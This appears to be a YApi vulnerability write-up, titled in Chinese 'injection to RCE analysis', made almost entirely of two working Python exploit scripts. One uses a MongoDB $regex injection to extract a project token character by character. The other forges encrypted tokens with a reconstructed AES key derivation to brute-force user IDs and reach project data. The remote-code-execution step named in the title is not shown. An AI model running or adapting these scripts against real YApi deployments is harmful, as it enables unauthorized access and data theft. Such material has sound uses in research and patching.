Yapi 注入到RCE 漏洞分析

import requests
strings = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def check_toekn(token:str):    json_data = {            'token': token,            'catid': '1376',            'path': '/api/group/list',            'title': '/api/group/list',            'method': 'GET',        }    response = requests.post('http://127.0.0.1:3000/api/interface/add',json=json_data)    if response.text.find('project_id') == -1:        print("token is {0}".format(token))        exit()
payload = ""while True:    for i in strings:        payloads = payload + i        json_data = {            'token': {                '$regex': '^{0}'.format(payloads),            },            'catid': '1376',            'path': '/api/group/list',            'title': '/api/group/list',            'method': 'GET',        }        response = requests.post('http://127.0.0.1:3000/api/interface/add',json=json_data)        if response.text.find('project_id') != -1:            continue        else:            payload = payloads            print(payloads)            check_toekn(payloads)            break

from Crypto.Cipher import AESfrom hashlib import md5import requests
class AESCipher(object):    class InvalidBlockSizeError(Exception):        """Raised for invalid block sizes"""        pass
    def __init__(self, key, block_size=16) -> None:        if block_size < 2 or block_size > 255:            raise AESCipher.InvalidBlockSizeError(                'The block size must be between 2 and 255, inclusive')        self.block_size = block_size        self.key, self.iv = self.EVP_BytesToKey(            key.encode("utf-8"), "".encode("utf-8"), 24, 16)
    def __pad(self, text) -> str:        text_length = len(text)        amount_to_pad = self.block_size - (text_length % self.block_size)        if amount_to_pad == 0:            amount_to_pad = self.block_size        self.pad = chr(amount_to_pad)        return text + self.pad * amount_to_pad
    def __unpad(self, text) -> str:        text = text.rstrip(self.pad)        return text
    def encrypt(self, raw) -> str:        raw = self.__pad(raw).encode()        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)        return cipher.encrypt(raw).hex()
    def decrypt(self, enc) -> str:        enc = bytes.fromhex(enc)        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)        return self.__unpad(cipher.decrypt(enc).decode("utf-8"))
    def EVP_BytesToKey(self, password, salt, key_len, iv_len) -> tuple[bytes, bytes]:        """        Derive the key and the IV from the given password and salt.        """        dtot = md5(password + salt).digest()        d = [dtot]        while len(dtot) < (iv_len+key_len):            d.append(md5(d[-1] + password + salt).digest())            dtot += d[-1]        return dtot[:key_len], dtot[key_len:key_len+iv_len]
aes = AESCipher("abcde", 16)for i in range(0,100):    token = aes.encrypt("{0}|0d65a1ecba18c88ed4f9".format(i))    reponse = requests.get("http://127.0.0.1:3001/api/project/get?token={0}".format(token))    if(reponse.text.find("null") == -1):        print("uid:{0}".format(i))        print("project_id:{0}".format(reponse.json()["data"]["_id"]))        print(token)        exit()